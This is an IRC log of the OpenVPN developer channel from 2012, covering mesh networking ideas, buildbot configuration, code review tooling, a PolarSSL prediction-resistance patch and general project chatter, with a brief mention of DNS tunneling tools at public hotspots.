<+krzee> true 15:04 <+krzee> there needs to be more than 1 central auth point tho 15:04 <+krzee> for the same mesh 15:05 <+krzee> otherwise you lose the entire point of the mesh, redundancy 15:05 <@dazo> good point! 15:05 * dazo ponders 15:05 < zocker> krzee: you would still have the advantage of handling less traffic on the central server 15:05 <+krzee> true 15:05 < zocker> but yeah more auth servers would be probably better ;) 15:06 <+krzee> your program handles more than 1 auth server… doesnt it? 15:06 <+krzee> seemed to me that it did when i was looking it over 15:06 < zocker> there isn't really an "auth server" 15:06 <+krzee> well initial connection server ;] 15:06 < zocker> yes but thats just for bootstrapping 15:06 <+krzee> what i keep calling auth is really just PKI anyways 15:06 <@dazo> if ... it would be possible to enable mesh together with normal openvpn mode ... so that clients which does not support mesh could access other mesh-able clients via the server .... like client-to-client today 15:07 <+krzee> dazo, sounds more complicated than necessary... 15:07 <+krzee> mesh mode for your infrastructure… then a normal entrance node of openvpn in server mode 15:07 <+krzee> on a machine(s) in the mesh 15:07 <@dazo> good point 15:08 * dazo flushes that idea 15:08 < zocker> right now its just a shared key for authentication, the protocol also supports sort of ACLs to control who may connect or not but that is not implemented yet 15:08 <+krzee> ive given this thought as im currently building a network that could use this feature! 15:08 <+krzee> well its built, i just need to setup ospf now 15:08 <@dazo> :) 15:08 <@andj> zocker: do you have periodic rekeying of the data channel and that sort of thing? 15:08 <+krzee> (since theres no mode mesh ;]) 15:09 < zocker> andj: no, key is negotiated once on session setup, but won't be renegotiated 15:09 < zocker> thought about implementing it, but decided its too much added complexity for too little benefit 15:09 <+krzee> zocker, well PKI and rekeying hourly (forward security) will be another cool feature that ovpn brings =] 15:10 <@andj> ah, cool, then there's a mutual learning sort of thing :) 15:10 <+krzee> andj, his app only runs on linux as well 15:11 < zocker> jep, have to figure that one out as well, especially windows ;) 15:11 <+krzee> so gaining support for solaris/bsd/windows is pretty cool for him too 15:11 <@andj> anyway, got to run, the idea of merging mesh networking into OpenVPN would be pretty cool! 15:11 <@andj> nn 15:11 <+krzee> as do i, ill be right back very quickly tho 15:12 <+krzee> just driving home 15:12 <@dazo> I just fear the current state of openvpn will not make mesh'ing easy ... due to the socket mess ... however, if this would include cleaning up socket.c and the tcp/udp connection code .... this would really be a great effort and yet another good reason to do so 15:14 <@dazo> zocker: I hope you understand that mesh is something we'd like to see ... but it's not a shortcut to implement it ... it'll require some efforts ... however, you won't be completely alone in that job, though 15:16 < zocker> i'm not sure if i would have the time for doing that anyway, i would probably first need to invest a lot of time to see how openvpn works internally 15:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:17 * cron2 goes to bed 15:18 <@dazo> well, we can sure try to help out as much as possible to help the understanding part ... even I would enjoy that, as there are many parts I still haven't touched yet 15:19 <@dazo> however, maybe we should start thinking about openvpn3 too for real ... we have a roadmap ready ... and we plan to move the 2.x series into that direction, by modularising the 2.x code base more and more 15:19 <@dazo> https://community.openvpn.net/openvpn/wiki/RoadMap 15:19 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 15:21 < zocker> "For the creative minds, in theory, it could be possible to write a socket module which would send data as HTTP requests, to trick itself through strict proxies. Or as DNS requests." 15:21 < zocker> nice, i'm playing with that idea too ;) 15:22 <@dazo> now, the current openvpn base isn't much modularised ... the ssl layer is the best modularisation we have yet 15:22 < zocker> yeah more generic code would be beneficial, my code for example doesn't care for the transport layer, as long as it is packet oriented 15:27 * dazo need to run ... getting late 15:28 <@dazo> thx all for a good meeting :) 15:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:33 <+krzee> zocker, if you're playing with dns tunneling, it may be worth your time to look at iodine 15:33 <+krzee> which is coded by Yarrick on IRCnet in #iodine 15:33 < zocker> tried that, didn't work too good for me 15:33 < zocker> i use dns2tcp with openvpn tcp mode instead 15:33 <+krzee> iodine didnt work good for you? 15:33 < zocker> works like a charm ;) 15:33 <+krzee> its always worked for me 15:34 <+krzee> well always did, i havnt used it in awhile 15:34 <+krzee> whoaaa 15:34 <+krzee> tcp over tcp over dns 15:34 <+krzee> your connection must have loooved you 15:34 <+krzee> LOL 15:34 < zocker> it works surprisingly well 15:34 < zocker> and kinda fucked internet is better than no internet 15:35 <+krzee> totally 15:35 < zocker> i also only need it at german train stations, and dns2tcp is easier to set up -> less work 15:36 < zocker> i think this is a germany-only problem anyway 15:36 < zocker> other countries just offer free APs, like argentina where i am now 15:37 < zocker> or they use WEP ;) 15:38 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:38 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:38 <@dazo> w00t!?! wep is crackable!??!?? :-P 15:38 <+krzie> grrr 15:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:38 <+krzie> [16:35] <zocker> i also only need it at german train stations, and dns2tcp is easier to set up -> less work 15:38 <+krzie> [16:36] <krzee> oh shit, on the t-mobile hotspots? 15:38 <+krzie> [16:36] <krzee> (thats what i recently saw at FRA) 15:38 <+krzie> [16:37] <krzee> i never got dns tunneling to work on t-mobile hotspots… if your way works im switching! 15:38 <+krzie> [16:37] <krzee> in the defense of simplicity, all i did to start iodine was run my script 15:38 <+krzie> last i saw before i dropped 15:39 <+krzie> and the script im referring to is at: http://dev.kryo.se/iodine/wiki/TipsAndTricks 15:39 <@vpnHelper> Title: TipsAndTricks – iodine (at dev.kryo.se) 15:40 < zocker> jep, on the t-mobile hotspots 15:40 <+krzie> oh man… all these yrs i just figured i couldnt dnstun through those 15:40 < zocker> i don't even know how you can charge money for this shit, internet access that anyone nearby can sniff & do other finny things 15:41 < zocker> s/finny/funny 15:41 <+krzie> or finny things! 15:41 * krzie looks at mattock out there in .fi 15:41 < zocker> haha 15:41 -!- dazo is now known as dazo_afk 15:46 < zocker> but like i said, germany only problem 15:46 < zocker> i'm sitting right now in a public park in a small town and it has free wifi :-) 15:46 < zocker> develeoping country beats developed country ^^ 15:46 <+krzie> thats awesome 15:46 <+krzie> you just called nl developing? 15:47 <+krzie> shit when i went out there it looked pretty well developed to me 15:47 < zocker> i'm in argentina 15:47 <+krzie> ohhh 15:47 <+krzie> ok then ;] 15:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:54 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:30 <+krzee> Recursion: Drink! Then see "Recursion" 19:18 < zocker> that algorithm will terminate sooner or later ^^ 19:21 < zocker> and it will be a mess 19:24 <+krzee> lol, yes 19:29 < zocker> btw, where are you guys from? 19:31 -!- raidz is now known as raidz_afk 19:35 <+krzee> im orig from california 19:43 < zocker> well, germany, if haven't already found out ^^ 19:43 < zocker> + you --- Day changed Fri Mar 30 2012 00:39 <@andj> zocker: I think it might work in NL too, we have lots of t-mobile hotspots here :) 01:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:15 -!- dazo_afk is now known as dazo 01:23 -!- Netsplit *.net <-> *.split quits: @raidz_afk, @d12fk, uuuppz, jamxNL, djc, EvilJStoker, zocker, @vpnHelper, waldner, @andj, (+7 more, use /NETSPLIT to show all of them) 02:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:57 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 02:57 -!- zocker [~tobias@2001:41b8:83f:4242::666] has joined #openvpn-devel 02:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:57 -!- Intensity [4c1eFHrfL0@unaffiliated/intensity] has joined #openvpn-devel 02:57 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 02:57 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:57 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:57 -!- ServerMode/#openvpn-devel [+vooo krzee mattock raidz_afk andj] by niven.freenode.net 02:57 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 02:57 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:57 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:57 -!- szlin [~szlin@alumni.cs.nctu.edu.tw] has joined #openvpn-devel 02:57 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:57 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 02:57 -!- ServerMode/#openvpn-devel [+oooo vpnHelper cron2 dazo d12fk] by niven.freenode.net 02:57 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 02:57 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 04:13 <@dazo> cron2: have you looked at the new patch set from Alon regarding the ~0 stuff? He took your feedback very well! 04:14 * dazo will go offline for some hours ... but will be back in the evening again 05:00 -!- dazo is now known as dazo_afk 05:50 <@mattock> ...time to skim through the n emails 06:35 <@mattock> is there no limit to Alon's cleanup patches? :D 06:35 <@mattock> not that I mind, if they really clean up the codebase 06:35 <@mattock> or maybe he's trying to flood us with patches so that we finally migrate to GitHub :P 06:44 <@mattock> let's see how our buildbot is doing... 06:44 <@mattock> poor thing, so many buildsystem patches 06:45 <@cron2> buildbot is doing quite well, but needs fixes in the setup :-) 06:46 <@cron2> for some reasons all the mattock-maintained buildslaves fail, and the cron2-maintained succeed at least in some builds... 06:46 * cron2 runs 06:54 <@mattock> cron2: bad mattock 07:52 <@mattock> got sidetracked, will retry 07:53 <@mattock> ah, libtool missing on my buildslaves 07:53 <@mattock> makes sense 08:17 <@cron2> yep, that's the one I fixed earlier this week :) 08:42 <@mattock> ubuntu-1004-amd64 seems to build ok after a little tweaking 08:42 <@mattock> manually at least 10:06 <@mattock> build seems to work with --enable-ssl, --enable-crypto 10:06 <+krzee> without those its the least efficient gre tun ;] 10:11 <@cron2> --enable-crypto --disable-ssl is not going anywhere 10:11 <@cron2> all the rest should build fine on builder-cron2* 10:12 <@cron2> (why are they called --enable-crypto now? I though that crypto, ssl and lzo are on-by-default, and thus the interesting options are --disable-crypto and --disable-ssl?) 10:14 <+krzee> good call 10:27 <@mattock> now it builds fine, even fetches the test keys, t_client.rc for the builder with no build flags (i.e. ./configure) 10:27 <@mattock> I'll propagate the changes to rest of my buildslaves 10:37 <@mattock> it seems it's time to lay the Debian 5 buildslaves to rest... at least my local repository server has been taken offline 10:37 <@mattock> and it's EOL anyways 10:38 <+krzee> rip deb5-bots 10:43 <@mattock> they've gone to a better place... 10:44 <@mattock> if somebody notices cron2 here, please relay this message: 10:45 <@mattock> i order for the connectivity tests to work each slave should have the following files under /root: 10:45 <@mattock> t_client.rc test-client.crt test-ca.crt test-client.key 10:45 <@mattock> for now, those can be dummy files 10:46 <@mattock> they just keep buildbot happy 11:13 <@mattock> I put my buildslaves to the test, let's see if any fail 11:49 <@cron2> mattock: don't put them in /root, put them in buildslave's home dir "where they were before" 11:49 <@cron2> buildslave has no permissions to access /root, and no purpose even trying to 11:56 <@d12fk> mattock: http://www.reviewboard.org/ can be hosted on site as well if you care and gerrit doesnt do it 11:56 <@vpnHelper> Title: Take the pain out of code review | Review Board (at www.reviewboard.org) 11:59 <@d12fk> dazo_afk: that's the one I was not able to remember 11:59 <@d12fk> looks promising, can't say more about it 11:59 <@d12fk> please save the link as I will have forgotten it by monday =) 12:02 -!- dazo_afk is now known as dazo 12:07 <@dazo> d12fk: thx! 12:08 <@dazo> another setup which might be quicker (but also not so advanced) is patchwork, which the kernel uses ... it's more like a mail thread viewer in web - but splitting out the patches in a different view from a threaded discussion for each patch mail thread 12:09 <@dazo> and an example: http://patchwork.ozlabs.org/patch/128215/ 12:09 <@vpnHelper> Title: [v2,4/4] P2P: Handle driver NOA notification - Patchwork (at patchwork.ozlabs.org) 12:09 <@dazo> Project web site: http://ozlabs.org/~jk/projects/patchwork/ 12:09 <@vpnHelper> Title: Patchwork - Web-based patch tracking system (at ozlabs.org) 12:10 <@andj> dazo: about the article, thanks, that's what I said about havege :) 12:11 <@andj> This is also available btw: http://www.atlassian.com/opensource/ 12:11 <@vpnHelper> Title: Free Software for Open Source Projects - Atlassian (at www.atlassian.com) 12:11 <@dazo> andj: you're welcome ... interesting thing is that I stumbled upon a thread on fedora devel-list ... a guy noticed that haveged performed way better than /dev/urandom and wanted to know why 12:13 -!- raidz_afk is now known as raidz 12:13 <@andj> dazo: mostly because of the fact that it expands a small amount of core entropy rather quickly 12:13 <@dazo> yeah 14:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 16:05 <@vpnHelper> RSS Update - testtrac: Migrated x509_get_sha1_hash to use the garbage collector <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8e5613c2a8545a67cab2734569a8f088100d731b> || Migrated x509_get_serial to use the garbage collector <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=025f30d7c6434aaf0ab4af3744f76aaf8c0b71d6> || Migrated x509_get_subject 16:10 <@cron2> dazo: have you merged "cleanup: flags should not be bool" already? ACKed :) 16:10 <@dazo> cron2: nope ... as they depend on the obool mess 16:10 <@cron2> doesn't. 16:11 <@cron2> that's a pure "change the *flags* usage to 'int'", independent of the obool 16:11 <@dazo> not directly, but if I merge that before obool, I'll get some conflicts ... iirc 16:11 * dazo double checks 16:11 <@cron2> well, yes, but we don't want obool anyway, do we? 16:12 <@dazo> no, I'll probably fight hard against that, tbh 16:12 <@dazo> okay ... what the heck ... lets get that flags patch in :) 16:12 <@cron2> that's what I thought :-) - so you should be able to safely merge that :-) 16:12 <@dazo> :) 16:13 * cron2 needs to find a few hours this weekend to sort out the openvpn heaps of mails 16:13 <@dazo> :) 16:13 <@dazo> cron2: I can point to a mail from Scott Z....something ... ;-) 16:14 <@cron2> this is about 500 mails further up, and I sort of work on my mail in a stack-principle... "handle new mails right away, and when time permits, go back to the older stuff" - which sometimes really fails 16:14 <@dazo> yeah :) 16:14 <@cron2> going to visit my parents tomorrow -> Annika can have grandma and grandpa, and I'm *free*... :-) 16:14 <@dazo> lol 16:15 * dazo gets the pleasure of being an uncle this weekend :) 16:16 <@cron2> yeah, that has advantages - when the weekend is over, you get to return the children :-) 16:16 <@cron2> anyway, time for bed now - g'night 16:16 <@dazo> g'night! 16:19 <@dazo> patch is being pushed out now 16:21 <@vpnHelper> RSS Update - testtrac: cleanup: flags should not be bool <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5cfe3d4c1897785b32565dbb59c914fac62b0ed9> 16:30 -!- dazo is now known as dazo_afk 18:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:09 -!- raidz is now known as raidz_afk --- Day changed Sat Mar 31 2012 02:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 06:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 07:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 08:20 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 08:23 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:23 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 12:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:33 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 12:35 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Sun Apr 01 2012 07:55 <@andj> hmm, I have the new PolarSSL 1.1 patches, but no connection to my work mailserver, so expect those monday 08:59 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 09:05 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:05 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 23:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Apr 02 2012 02:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:38 <@andj> and submitted... I resubmitted the first two patches as well, so they build on top of the new build system 03:32 -!- dazo_afk is now known as dazo 03:50 <@cron2> good morning mister "I have an ACK for you" :-) 04:15 <@mattock> now finally a brief jump into the ACK system review... won't be able to finish that today, though 04:18 <@cron2> mattock: so are the buldslaves building? 04:18 <@mattock> yep 04:18 <@cron2> all, with success? 04:19 <@mattock> yep, except builder-cron2-freebsd-82-amd64-stable-master 04:20 <@mattock> builder-cron2-openbsd-49-i386-stable-master 04:20 <@mattock> builder-cron2-freebsd-90-amd64-stable-master 04:20 <@cron2> those are because you still try to access /root/? 04:20 <@mattock> ah yes, you used an unprivileged account for the buildslave user 04:20 <@mattock> would /tmp be ok? 04:20 * cron2 said that :-) grab the files from $HOME 04:21 <@cron2> /tmp gets cleaned on boot, so that's not a very good idea 04:21 <@dazo> mattock: I'd suggset /var/tmp instead if /tmp ... some systems do clean /tmp regularly via cron 04:21 <@dazo> or even better /var/lib/buildbot ... or something similar 04:21 <@cron2> neither is adequate for files that are supposed to stay 04:21 <@dazo> agreed 04:21 <@cron2> $HOME or $HOME/files/ will do the right thing: keep it with the buildbot user, wherever that one lives 04:23 <@mattock> hmm, I'm thinking how I'll do this with Puppet... it makes sure the keys are in the right place for buildbot 04:23 <@mattock> I can't use $HOME there, so I'll probably make the master.cfg (python code) check for keys from a couple of directories (one for puppet, one for others) 04:24 <@mattock> e.g. /tmp, /var/tmp, /whatever and $HOME/something 04:24 <@cron2> puppet can work with absolute paths, and then buildbot can use $HOME 04:24 <@mattock> yes, provided the buildbot/buildslave directory is always at the same location 04:24 <@cron2> (I assume that $HOME is the same for all your buildslaves, yo you can use that directory for puppet) 04:25 <@mattock> is it /home/buildslave on your systems? 04:25 <@cron2> it is $HOME on my systems :-) 04:25 <@mattock> puppet runs as root and has no concept of $HOME 04:25 <@cron2> puppet doesn't run on my systems, so it needs no concept of $HOME 04:25 <@mattock> anyways, I'll figure this out, np 04:25 <@cron2> listen closely :-) 04:26 <@cron2> tell puppet to deploy to a fixed path that correlates to "buildslave $HOME" on your machines 04:26 <@cron2> tell *buildbot* to use $HOME on *all* machines 04:27 <@cron2> since puppet isn't running here, it doesn't need to work with $HOME - it just needs to put it where your buildslaves expect that. And buildslave can use $HOME to pick it up wherever that might be on a given machine 04:27 <@mattock> well, that's doable 04:27 <@mattock> let's see 04:28 <@cron2> I think that's the way of least pain (... because I have the nagging suspicion that $HOME on OpenSolaris will be in some weird place) 04:28 <@mattock> (bye bye ACK system review :) 04:28 <@mattock> for today 04:28 <@mattock> I'll fix this now 04:29 <@cron2> dazo: lots of ACKs for you to merge :-) (and then I can kick that stuff from my patch queue) 04:30 <@dazo> cron2: I've noticed :) 04:30 * dazo tries to figure out where to start :) 04:43 <@mattock> os.environ['HOME'] would fix this issue, except that it uses buildmaster's $HOME, not the one on the slave 04:43 <@mattock> the master sends hardcoded paths down the client 04:44 <@mattock> I'll see if that can be changed somehow 04:44 <@mattock> if not, I'll go for the dual path approach 04:44 <@cron2> mattock: oh, that's un-cool - then we need to go for well-defined /home/buildslave/ or such 04:45 <@mattock> yeah, I'll see if there's a fix for that 04:45 <@mattock> I already tried sending $HOME/... down to the client, but it did not expand at all 04:47 <@dazo> cron2: just to see if I understood you correctly .... you acked patch 1/4 (cleanup: avoid using ~0 - generic) ... and the only comment you had in 1/4 was fixed later on in the revised patch 4/4 ? 04:47 <@cron2> dazo: yep 04:47 <@cron2> oh, food, bbl 04:48 <@dazo> goodie! then I'll get those in, together with what andj acked 05:11 <@mattock> it seems possible to use the slave's environment variables, but figuring out the syntax is not trivial 05:12 <@mattock> I'll revert to the old config and return to this a.s.a.p. 05:14 <@mattock> one more try 05:19 <@mattock> it seems I managed to get the shell expansion working 05:20 <@mattock> yeah, poc ready 05:20 <@mattock> reverted back 05:23 <+krzee> oh cron, talked to a guy in new zealand who is using 2.3 alpha in production 05:23 <+krzee> "Works a treat. Both in client server for our laptop users and peer-to-peer between our offices." 05:24 <+krzee> "And using both OpenVPN over-v6 as well as v6 payload in OpenVPN over v4. 05:24 <+krzee> 12:23 AM 05:24 <+krzee> It's compatible with older clients - many of our laptops still use OpenVPN 2.1 on WinXP and I haven't had any problems with these connecting to the v6 enabled servers." 05:24 <+krzee> centos 5/6 for servers 05:24 <+krzee> figured you like to hear the feedback =] 05:29 -!- Intensity [4c1eFHrfL0@unaffiliated/intensity] has quit [Quit: Quit] 05:30 <@cron2> re 05:30 <@cron2> mattock: cool 05:30 <@cron2> krzee: yay :-) 05:30 <@cron2> krzee: yes, this is great 06:04 <+krzee> http://openvpn.net/index.php/open-source/documentation/release-notes.html 06:04 <@vpnHelper> Title: Release Notes (at openvpn.net) 06:04 <+krzee> 2.1 changelog link is broken 06:06 <+krzee> should be http://openvpn.net/index.php/open-source/documentation/change-log/71-* 06:06 <@vpnHelper> Title: 2.1 Change Log (at openvpn.net) 06:06 <+krzee> is http://openvpn.net/index.php/component/content/45-change-log/71-21-change-log.html 06:32 <@vpnHelper> RSS Update - testtrac: cleanup: gc usage <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=75b49e406430299b187964744f82e50a9035a0d3> || cleanup: avoid using ~0 - windows <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=12e46092bad76b88bb7439e1c1666e987669cfb1> || cleanup: avoid using ~0 - netmask <http://openvpn.git.sourceforge.net/git/gitweb.cgi? 07:30 <@dazo> mattock: another input to the ack system .... with an argument why not to pull randomly ... http://www.crossroads.io/faq 07:30 <@vpnHelper> Title: Frequently Asked Questions - Crossroads I/O (at www.crossroads.io) 08:55 <@mattock> krzee: on my todo 08:55 <@mattock> although Joomla is occasionally so buggy that fixing things is very, very difficult :| 08:55 <@mattock> hopefully this one is not one of those issues 08:59 <@mattock> dazo: I think this one is the main culprit: "The economics of any patch (its relevance, accuracy, and value) are decided by end-users, not by other contributors, nor by the maintainers." 09:03 <@mattock> so, essentially, the ZeroMQ project pulls in practically anything 09:03 <@mattock> one would have to look at the mailing list discussions to understand the full rationale behind the fork 09:05 <@mattock> http://lists.zeromq.org/pipermail/zeromq-dev/2012-March/016429.html 09:05 <@vpnHelper> Title: [zeromq-dev] [ANNOUNCE] Crossroads I/O release 1.0.0 (at lists.zeromq.org) 09:09 <@mattock> zeromq was also at FOSDEM it seems 09:10 <@mattock> "[zeromq-dev] inet_ntop is not available in Windows XP " 09:10 <@mattock> we're not the only ones 09:17 <@mattock> ok, this is the relevant ZeroMQ thread: http://lists.zeromq.org/pipermail/zeromq-dev/2012-January/015032.html 09:17 <@vpnHelper> Title: [zeromq-dev] Proposal for libzmq maintenance (at lists.zeromq.org) 09:18 <@mattock> and as with us, the opinions have been split between pro-GitHub/pull request and mailing list review: "From our experience after we moved IPython to GitHub, 09:18 <@mattock> contributions have simply exploded, from brand new contributors and core 09:18 <@mattock> devs alike, and it's the GitHub PR and review tools that are largely 09:18 <@mattock> responsible for the productivity of core devs and enthusiasm of new 09:18 <@mattock> contributors." 09:19 <@mattock> this pro-GitHub statement seems interesting also: http://lists.zeromq.org/pipermail/zeromq-dev/2012-January/015056.html 09:19 <@vpnHelper> Title: [zeromq-dev] Proposal for libzmq maintenance (at lists.zeromq.org) 09:24 <@mattock> I'm not sure what actually led to the fork, couldn't find any real reason from the mailing list discussions 09:28 <@mattock> interesting discussion, very relevant to us also 10:59 <@dazo> mattock: the fork is due to trademark issues ... iMatrix ownes the trademarks for 0mq, but it was some considerable fear that the trademark owner might do some move in the future, which would restrict the usage of 0mq/zeromq/0mq in "marketing" ... which again would hit badly on the community ... by forking the code, avoiding using zeromq/omq/0mq - the fork is clean and free 11:00 <@dazo> https://lwn.net/Articles/488732/ 11:02 <@dazo> But the FAQ entry which I meant was relevant for the pull request discussion was basically this paragraph: "Why do you not accept pull requests? Pull requests can change while being reviewed. This makes it impossible to ensure that the code being merged is the same code that has been reviewed and discussed, which compromises integrity of the codebase." 11:02 <@dazo> And this is how you can properly use git-pull requests: "Pull requests are meant for delegation of work to sub-maintainers and require an established web of trust." 11:06 <@mattock> dazo: yep 11:09 * dazo goes afk for at least 30 min ... to revcover from a little migraine 11:21 -!- raidz_afk is now known as raidz 13:38 -!- dazo is now known as dazo_afk 13:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 13:57 -!- dazo_afk is now known as dazo 13:58 <@dazo> andj: reg. prediction resistance ... I'm supportive to the idea (and I'm pretty sure James will agree too), but Alon got a point in regards to openssl - but I'm just wondering if this is a feature which is pretty much polarssl specific; then it gets pretty extreme to first add that support in openssl before getting it into openvpn 14:01 <@dazo> So if this is a polarssl specific feature ... then the only thing I'd like to see different, is that either this is "activated" by default (#ifdef ENABLE_PREDICTION_RESISTANCE -> #ifdef POLARSSL_VERSION_NUMBER) ... and skip the syshead.h stuff 14:02 <@dazo> For this patch, I'd like to have James' ACK on it ... as that can silence Alon's objections very easily ... there are other battles I probably need to take with Alon, so I'd rather put my energy on those 14:03 <@dazo> (I can give a supporting ACK, when James have said what he needs to say ... but I don't want to initiate a potential battle directly right now) 14:05 <@dazo> (afaik, getting things into openssl is a long long way ... and earlier patches used to be re-implemented by core developers ... so I have no hope of a quick inclusion there, and I want openvpn to move forward ... and if this is interesting for users, they can easily use polarssl instead for now) 14:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:30 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 260 seconds] 15:30 -!- szlin [~szlin@alumni.cs.nctu.edu.tw] has quit [Ping timeout: 260 seconds] 15:30 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 16:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 17:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:36 -!- dazo is now known as dazo_afk 19:04 -!- raidz is now known as raidz_afk 22:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Tue Apr 03 2012 00:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:33 <@andj> dazo: thanks... I haven't got any plans on working on OpenSSL support for prediction resistance. AFAIK it's not in there now, and I'm not a huge fan of working on their code base. 00:34 <@andj> about the ENABLE_PREDICTION_RESISTANCE ifdefs... I'm fine both ways. I thought this might be clearer for a reader of the code 00:35 <@andj> prediction resistance basically mixes in some fresh entropy on every call to the DRBG 00:35 <@andj> which is rather expensive if you don't have an external source of entropy 01:41 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 02:26 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:26 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:26 <@cron2> *grumble* 03:10 -!- dazo_afk is now known as dazo 03:13 <@dazo> andj: yeah, ENABLE_PRED_RESIST is kind of clearer, but it makes much more sense when it's supported on all SSL/crypto platforms ... but as this is a PolarSSL only feature now, I find it natural to rather flag that more clearly .... I'll have another round of poking at your patches 09:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 11:23 -!- dazo is now known as dazo_afk 11:37 -!- raidz_afk is now known as raidz 11:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:21 <@andj> dazo: thanks, I'm fine either way... I'll let the patches soak as they are for a few days, and if I don't get any more comments change the ifdef to POLARSSL 14:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:14 -!- raidz is now known as raidz_afk 19:41 < ecrist> ping raidz or mattock 19:43 < ecrist> I need a hi-rez version of the graphic used on the forum header 19:43 < ecrist> Thanks. 